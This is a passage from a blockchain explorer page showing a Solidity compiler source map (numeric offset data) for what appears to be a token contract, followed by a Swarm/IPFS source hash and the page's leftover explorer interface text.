7:68;;;;-1:-1:-1;;;9577:68:0;;7275:2:1;9577:68:0;;;7257:21:1;7314:2;7294:18;;;7287:30;7353:34;7333:18;;;7326:62;-1:-1:-1;;;7404:18:1;;;7397:34;7448:19;;9577:68:0;7073:400:1;9577:68:0;-1:-1:-1;;;;;9664:21:0;;9656:68;;;;-1:-1:-1;;;9656:68:0;;7680:2:1;9656:68:0;;;7662:21:1;7719:2;7699:18;;;7692:30;7758:34;7738:18;;;7731:62;-1:-1:-1;;;7809:18:1;;;7802:32;7851:19;;9656:68:0;7478:398:1;9656:68:0;-1:-1:-1;;;;;9735:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9787:32;;160:25:1;;;9787:32:0;;133:18:1;9787:32:0;;;;;;;9458:369;;;:::o;13749:2395::-;-1:-1:-1;;;;;13871:18:0;;13863:68;;;;-1:-1:-1;;;13863:68:0;;8083:2:1;13863:68:0;;;8065:21:1;8122:2;8102:18;;;8095:30;8161:34;8141:18;;;8134:62;-1:-1:-1;;;8212:18:1;;;8205:35;8257:19;;13863:68:0;7881:401:1;13863:68:0;-1:-1:-1;;;;;13950:16:0;;13942:64;;;;-1:-1:-1;;;13942:64:0;;8489:2:1;13942:64:0;;;8471:21:1;8528:2;8508:18;;;8501:30;8567:34;8547:18;;;8540:62;-1:-1:-1;;;8618:18:1;;;8611:33;8661:19;;13942:64:0;8287:399:1;13942:64:0;14034:1;14025:6;:10;14017:64;;;;-1:-1:-1;;;14017:64:0;;8893:2:1;14017:64:0;;;8875:21:1;8932:2;8912:18;;;8905:30;8971:34;8951:18;;;8944:62;-1:-1:-1;;;9022:18:1;;;9015:39;9071:19;;14017:64:0;8691:405:1;14017:64:0;-1:-1:-1;;;;;14114:22:0;;;;;;:18;:22;;;;;;;;14113:23;:52;;;;-1:-1:-1;;;;;;14141:24:0;;;;;;:18;:24;;;;;;;;14140:25;14113:52;14094:1370;;;14230:14;;;;14225:209;;4002:7;4029:6;-1:-1:-1;;;;;14295:15:0;;;4029:6;;14295:15;14265:153;;;;-1:-1:-1;;;14265:153:0;;9303:2:1;14265:153:0;;;9285:21:1;9342:2;9322:18;;;9315:30;9381:34;9361:18;;;9354:62;9452:33;9432:18;;;9425:61;9503:19;;14265:153:0;9101:427:1;14265:153:0;14486:20;;14476:6;:30;;14450:120;;;;-1:-1:-1;;;14450:120:0;;9735:2:1;14450:120:0;;;9717:21:1;9774:2;9754:18;;;9747:30;9813;9793:18;;;9786:58;9861:18;;14450:120:0;9533:352:1;14450:120:0;14608:11;;-1:-1:-1;;;;;14602:17:0;;;14608:11;;14602:17;14599:169;;14673:21;;14664:6;14648:13;14658:2;14648:9;:13::i;:::-;:22;;;;:::i;:::-;:46;14640:112;;;;-1:-1:-1;;;14640:112:0;;10354:2:1;14640:112:0;;;10336:21:1;10393:2;10373:18;;;10366:30;10432:34;10412:18;;;10405:62;-1:-1:-1;;;10483:18:1;;;10476:33;10526:19;;14640:112:0;10152:399:1;14640:112:0;14784:27;14814:24;14832:4;14814:9;:24::i;:::-;14905:14;;14962:20;;14784:54;;-1:-1:-1;14882:37:0;;;;14939:43;;14936:90;;15006:20;;14984:42;;14936:90;15045:7;:37;;;;-1:-1:-1;15075:7:0;;;;;;;15074:8;15045:37;:71;;;;-1:-1:-1;15104:12:0;;;;;;;15045:71;:112;;;;-1:-1:-1;15146:11:0;;-1:-1:-1;;;;;15138:19:0;;;15146:11;;15138:19;;15045:112;:157;;;;-1:-1:-1;;;;;;15180:22:0;;;;;;:18;:22;;;;;;;;15179:23;15045:157;:204;;;;-1:-1:-1;;;;;;15225:24:0;;;;;;:18;:24;;;;;;;;15224:25;15045:204;15041:412;;;15284:29;15293:19;15284:8;:29::i;:::-;15353:21;15397:14;;15393:45;;15414:22;15425:10;15414;:22::i;:::-;15265:188;15041:412;14177:1287;;14094:1370;-1:-1:-1;;;;;15511:24:0;;15476:12;15511:24;;;:18;:24;;;;;;15491:4;;15511:24;;;:50;;-1:-1:-1;;;;;;15539:22:0;;;;;;:18;:22;;;;;;;;15511:50;15510:112;;;-1:-1:-1;15589:11:0;;-1:-1:-1;;;;;15581:19:0;;;15589:11;;15581:19;;;;:40;;-1:-1:-1;15610:11:0;;-1:-1:-1;;;;;15604:17:0;;;15610:11;;15604:17;;15581:40;15506:570;;;-1:-1:-1;15659:5:0;15506:570;;;15717:11;;-1:-1:-1;;;;;15709:19:0;;;15717:11;;15709:19;:53;;;;-1:-1:-1;15746:15:0;;-1:-1:-1;;;;;15732:30:0;;;15746:15;;15732:30;;15709:53;15706:171;;;15796:16;;15783:10;:29;15848:13;;15831:14;:30;15706:171;15901:11;;-1:-1:-1;;;;;15895:17:0;;;15901:11;;15895:17;:53;;;;-1:-1:-1;15932:15:0;;-1:-1:-1;;;;;15916:32:0;;;15932:15;;15916:32;;15895:53;15891:174;;;15982:17;;15969:10;:30;16035:14;;16018;:31;15891:174;16086:50;16110:4;16116:2;16120:6;16128:7;16086:23;:50::i;1128:224::-;1248:7;1284:12;1276:6;;;;1268:29;;;;-1:-1:-1;;;1268:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1308:9:0;1320:5;1324:1;1320;:5;:::i;:::-;1308:17;1128:224;-1:-1:-1;;;;;1128:224:0:o;12389:323::-;12484:7;12542;;12531;:18;;12509:110;;;;-1:-1:-1;;;12509:110:0;;10891:2:1;12509:110:0;;;10873:21:1;10930:2;10910:18;;;10903:30;10969:34;10949:18;;;10942:62;-1:-1:-1;;;11020:18:1;;;11013:40;11070:19;;12509:110:0;10689:406:1;12509:110:0;12630:19;12652:10;:8;:10::i;:::-;12630:32;-1:-1:-1;12680:24:0;:7;12630:32;12680:11;:24::i;:::-;12673:31;12389:323;-1:-1:-1;;;12389:323:0:o;16152:474::-;6198:7;:14;;-1:-1:-1;;6198:14:0;;;;;16245:16:::1;::::0;;16259:1:::1;16245:16:::0;;;;;::::1;::::0;;-1:-1:-1;;16245:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;16245:16:0::1;16221:40;;16290:4;16272;16277:1;16272:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;16272:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;16316:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;16316:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;16272:7;;16316:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16306:4;16311:1;16306:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;16306:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;16381:15:::1;::::0;16349:62:::1;::::0;16366:4:::1;::::0;16381:15:::1;16399:11:::0;16349:8:::1;:62::i;:::-;16422:15;::::0;:196:::1;::::0;-1:-1:-1;;;16422:196:0;;-1:-1:-1;;;;;16422:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;16503:11;;16422:15:::1;::::0;16545:4;;16572::::1;::::0;16592:15:::1;::::0;16422:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6235:7:0;:15;;-1:-1:-1;;6235:15:0;;;-1:-1:-1;;;;16152:474:0:o;12720:255::-;12775:20;12807:11;;12798:6;:20;;;;:::i;:::-;12775:43;-1:-1:-1;12829:23:0;12855:21;12775:43;12855:6;:21;:::i;:::-;12887:10;;:33;;12829:47;;-1:-1:-1;;;;;;12887:10:0;;:33;;;;;12907:12;;12887:10;:33;:10;:33;12907:12;12887:10;:33;;;;;;;;;;;;;;;;;;;;-1:-1:-1;12931:10:0;;:36;;-1:-1:-1;;;;;12931:10:0;;;;:36;;;;;12951:15;;12931:10;:36;:10;:36;12951:15;12931:10;:36;;;;;;;;;;;;;;;;;;;16683:349;16847:6;16842:51;;16870:11;:9;:11::i;:::-;16903:47;16924:6;16932:9;16943:6;16903:20;:47::i;:::-;16966:6;16961:64;;17001:12;17958:21;;17945:10;:34;18007:16;;17990:14;:33;17904:127;10381:164;10423:7;10444:15;10461;10480:19;:17;:19::i;:::-;10443:56;;-1:-1:-1;10443:56:0;-1:-1:-1;10517:20:0;10443:56;;10517:11;:20::i;:::-;10510:27;;;;10381:164;:::o;1981:132::-;2039:7;2066:39;2070:1;2073;2066:39;;;;;;;;;;;;;;;;;:3;:39::i;11514:232::-;11558:10;;:15;:38;;;;-1:-1:-1;11577:14:0;;:19;11558:38;11554:51;;;11514:232::o;11554:51::-;11639:10;;;11615:21;:34;11679:14;;;11660:16;:33;-1:-1:-1;11695:14:0;;;;11720:18;11514:232::o;17210:686::-;17360:15;17390:23;17428:12;17455:23;17493:12;17520:13;17547:19;17558:7;17547:10;:19::i;:::-;17345:221;;;;;;;;;;;;17572:33;17587:6;17595:9;17572:14;:33::i;:::-;17568:72;;;17607:33;17622:6;17630:9;17607:14;:33::i;:::-;-1:-1:-1;;;;;17669:15:0;;;;;;:7;:15;;;;;;:28;;17689:7;17669:19;:28::i;:::-;-1:-1:-1;;;;;17651:15:0;;;;;;;:7;:15;;;;;;:46;;;;17729:18;;;;;;;:39;;17752:15;17729:22;:39::i;:::-;-1:-1:-1;;;;;17708:18:0;;;;;;:7;:18;;;;;:60;17779:18;17791:5;17779:11;:18::i;:::-;17799:29;17817:4;17823;17799:17;:29::i;:::-;17861:9;-1:-1:-1;;;;;17844:44:0;17853:6;-1:-1:-1;;;;;17844:44:0;;17872:15;17844:44;;;;160:25:1;;148:2;133:18;;14:177;17844:44:0;;;;;;;;17334:562;;;;;;17210:686;;;:::o;10553:257::-;10651:7;;10604;;;;5014:14;10719:20;10651:7;5014:14;10719:11;:20::i;:::-;10709:7;:30;10705:61;;;-1:-1:-1;;10749:7:0;;;5014:14;;-1:-1:-1;10553:257:0;-1:-1:-1;10553:257:0:o;10705:61::-;10785:7;;10794;;-1:-1:-1;10553:257:0;-1:-1:-1;10553:257:0:o;1752:223::-;1872:7;1907:12;1900:5;1892:28;;;;-1:-1:-1;;;1892:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1931:9:0;1943:5;1947:1;1943;:5;:::i;11754:623::-;11854:7;11876;11898;11920;11942;11964;12000:23;12025:12;12039:13;12069:48;12081:7;12090:10;;12102:14;;12069:11;:48::i;:::-;11999:118;;;;;;12128:19;12150:10;:8;:10::i;:::-;12128:32;;12172:15;12189:23;12214:12;12243:46;12255:7;12264:4;12270:5;12277:11;12243;:46::i;:::-;12171:118;;-1:-1:-1;12171:118:0;-1:-1:-1;12171:118:0;-1:-1:-1;12340:15:0;;-1:-1:-1;12357:4:0;;-1:-1:-1;12363:5:0;;-1:-1:-1;;;;;11754:623:0;;;;;;;:::o;17040:162::-;17159:11;;17122:4;;-1:-1:-1;;;;;17146:24:0;;;17159:11;;17146:24;:48;;;;-1:-1:-1;17184:10:0;;-1:-1:-1;;;;;17174:20:0;;;17184:10;;17174:20;17139:55;;17040:162;;;;:::o;7674:231::-;-1:-1:-1;;;;;7756:22:0;;;;;;;:11;:22;;;;;;;;:30;;;;;;;;;;-1:-1:-1;;;7752:146:0;;;7823:46;7832:9;7843:6;-1:-1:-1;;7823:8:0;:46::i;:::-;7885:1;7871:11;:15;7752:146;7674:231;;:::o;1358:136::-;1416:7;1443:43;1447:1;1450;1443:43;;;;;;;;;;;;;;;;;:3;:43::i;943:179::-;1001:7;;1033:5;1037:1;1033;:5;:::i;:::-;1021:17;;1062:1;1057;:6;;1049:46;;;;-1:-1:-1;;;1049:46:0;;12641:2:1;1049:46:0;;;12623:21:1;12680:2;12660:18;;;12653:30;12719:29;12699:18;;;12692:57;12766:18;;1049:46:0;12439:351:1;11293:213:0;11348:19;11370:10;:8;:10::i;:::-;11348:32;-1:-1:-1;11391:13:0;11407:22;:5;11348:32;11407:9;:22::i;:::-;11481:4;11465:22;;;;:7;:22;;;;;;11391:38;;-1:-1:-1;11465:33:0;;11391:38;11465:26;:33::i;:::-;11456:4;11440:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;11293:213:0:o;12983:163::-;13067:7;;:17;;13079:4;13067:11;:17::i;:::-;13057:7;:27;13113:15;;:25;;13133:4;13113:19;:25::i;:::-;13095:15;:43;-1:-1:-1;;12983:163:0:o;10818:467::-;10986:7;;;;11080:29;11105:3;11080:20;:7;11092;11080:11;:20::i;:::-;:24;;:29::i;:::-;11065:44;-1:-1:-1;11120:13:0;11136:28;11160:3;11136:19;:7;11148:6;11136:11;:19::i;:28::-;11120:44;-1:-1:-1;11175:23:0;11201:28;11120:44;11201:17;:7;11213:4;11201:11;:17::i;:::-;:21;;:28::i;:::-;11175:54;11265:4;;-1:-1:-1;11271:5:0;;-1:-1:-1;10818:467:0;;-1:-1:-1;;;;;10818:467:0:o;9839:534::-;10033:7;;;;10130:24;:7;10142:11;10130;:24::i;:::-;10112:42;-1:-1:-1;10165:12:0;10180:21;:4;10189:11;10180:8;:21::i;:::-;10165:36;-1:-1:-1;10212:13:0;10228:22;:5;10238:11;10228:9;:22::i;:::-;10212:38;-1:-1:-1;10261:23:0;10287:28;10212:38;10287:17;:7;10299:4;10287:11;:17::i;:28::-;10334:7;;;;-1:-1:-1;10360:4:0;;-1:-1:-1;9839:534:0;;-1:-1:-1;;;;;;;9839:534:0:o;1500:246::-;1558:7;1582:1;1587;1582:6;1578:47;;-1:-1:-1;1612:1:0;1605:8;;1578:47;1635:9;1647:5;1651:1;1647;:5;:::i;:::-;1635:17;-1:-1:-1;1680:1:0;1671:5;1675:1;1635:17;1671:5;:::i;:::-;:10;1663:56;;;;-1:-1:-1;;;1663:56:0;;13170:2:1;1663:56:0;;;13152:21:1;13209:2;13189:18;;;13182:30;13248:34;13228:18;;;13221:62;-1:-1:-1;;;13299:18:1;;;13292:31;13340:19;;1663:56:0;12968:397:1;196:548;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;804:70;749:131;:::o;885:315::-;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1855:456::-;1932:6;1940;1948;2001:2;1989:9;1980:7;1976:23;1972:32;1969:52;;;2017:1;2014;2007:12;1969:52;2056:9;2043:23;2075:31;2100:5;2075:31;:::i;:::-;2125:5;-1:-1:-1;2182:2:1;2167:18;;2154:32;2195:33;2154:32;2195:33;:::i;:::-;1855:456;;2247:7;;-1:-1:-1;;;2301:2:1;2286:18;;;;2273:32;;1855:456::o;2505:180::-;2564:6;2617:2;2605:9;2596:7;2592:23;2588:32;2585:52;;;2633:1;2630;2623:12;2585:52;-1:-1:-1;2656:23:1;;2505:180;-1:-1:-1;2505:180:1:o;2690:247::-;2749:6;2802:2;2790:9;2781:7;2777:23;2773:32;2770:52;;;2818:1;2815;2808:12;2770:52;2857:9;2844:23;2876:31;2901:5;2876:31;:::i;2942:782::-;3034:6;3042;3050;3103:2;3091:9;3082:7;3078:23;3074:32;3071:52;;;3119:1;3116;3109:12;3071:52;3159:9;3146:23;3188:18;3229:2;3221:6;3218:14;3215:34;;;3245:1;3242;3235:12;3215:34;3283:6;3272:9;3268:22;3258:32;;3328:7;3321:4;3317:2;3313:13;3309:27;3299:55;;3350:1;3347;3340:12;3299:55;3390:2;3377:16;3416:2;3408:6;3405:14;3402:34;;;3432:1;3429;3422:12;3402:34;3487:7;3480:4;3470:6;3467:1;3463:14;3459:2;3455:23;3451:34;3448:47;3445:67;;;3508:1;3505;3498:12;3445:67;3539:4;3531:13;;;;-1:-1:-1;3563:6:1;-1:-1:-1;;3604:20:1;;3591:34;3661:13;;3654:21;3644:32;;3634:60;;3690:1;3687;3680:12;3634:60;3713:5;3703:15;;;2942:782;;;;;:::o;3937:388::-;4005:6;4013;4066:2;4054:9;4045:7;4041:23;4037:32;4034:52;;;4082:1;4079;4072:12;4034:52;4121:9;4108:23;4140:31;4165:5;4140:31;:::i;:::-;4190:5;-1:-1:-1;4247:2:1;4232:18;;4219:32;4260:33;4219:32;4260:33;:::i;:::-;4312:7;4302:17;;;3937:388;;;;;:::o;4330:356::-;4532:2;4514:21;;;4551:18;;;4544:30;4610:34;4605:2;4590:18;;4583:62;4677:2;4662:18;;4330:356::o;4691:127::-;4752:10;4747:3;4743:20;4740:1;4733:31;4783:4;4780:1;4773:15;4807:4;4804:1;4797:15;5178:251;5248:6;5301:2;5289:9;5280:7;5276:23;5272:32;5269:52;;;5317:1;5314;5307:12;5269:52;5349:9;5343:16;5368:31;5393:5;5368:31;:::i;6355:306::-;6443:6;6451;6459;6512:2;6500:9;6491:7;6487:23;6483:32;6480:52;;;6528:1;6525;6518:12;6480:52;6557:9;6551:16;6541:26;;6607:2;6596:9;6592:18;6586:25;6576:35;;6651:2;6640:9;6636:18;6630:25;6620:35;;6355:306;;;;;:::o;9890:127::-;9951:10;9946:3;9942:20;9939:1;9932:31;9982:4;9979:1;9972:15;10006:4;10003:1;9996:15;10022:125;10087:9;;;10108:10;;;10105:36;;;10121:18;;:::i;10556:128::-;10623:9;;;10644:11;;;10641:37;;;10658:18;;:::i;11232:980::-;11494:4;11542:3;11531:9;11527:19;11573:6;11562:9;11555:25;11599:2;11637:6;11632:2;11621:9;11617:18;11610:34;11680:3;11675:2;11664:9;11660:18;11653:31;11704:6;11739;11733:13;11770:6;11762;11755:22;11808:3;11797:9;11793:19;11786:26;;11847:2;11839:6;11835:15;11821:29;;11868:1;11878:195;11892:6;11889:1;11886:13;11878:195;;;11957:13;;-1:-1:-1;;;;;11953:39:1;11941:52;;12048:15;;;;12013:12;;;;11989:1;11907:9;11878:195;;;-1:-1:-1;;;;;;;12129:32:1;;;;12124:2;12109:18;;12102:60;-1:-1:-1;;;12193:3:1;12178:19;12171:35;12090:3;11232:980;-1:-1:-1;;;11232:980:1:o;12217:217::-;12257:1;12283;12273:132;;12327:10;12322:3;12318:20;12315:1;12308:31;12362:4;12359:1;12352:15;12390:4;12387:1;12380:15;12273:132;-1:-1:-1;12419:9:1;;12217:217::o;12795:168::-;12868:9;;;12899;;12916:15;;;12910:22;;12896:37;12886:71;;12937:18;;:::i

Swarm Source

ipfs://1a3aa9b6d37fef3923b2d16f0c178f44f53a71ce1d3bebc3943a187e821216df

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.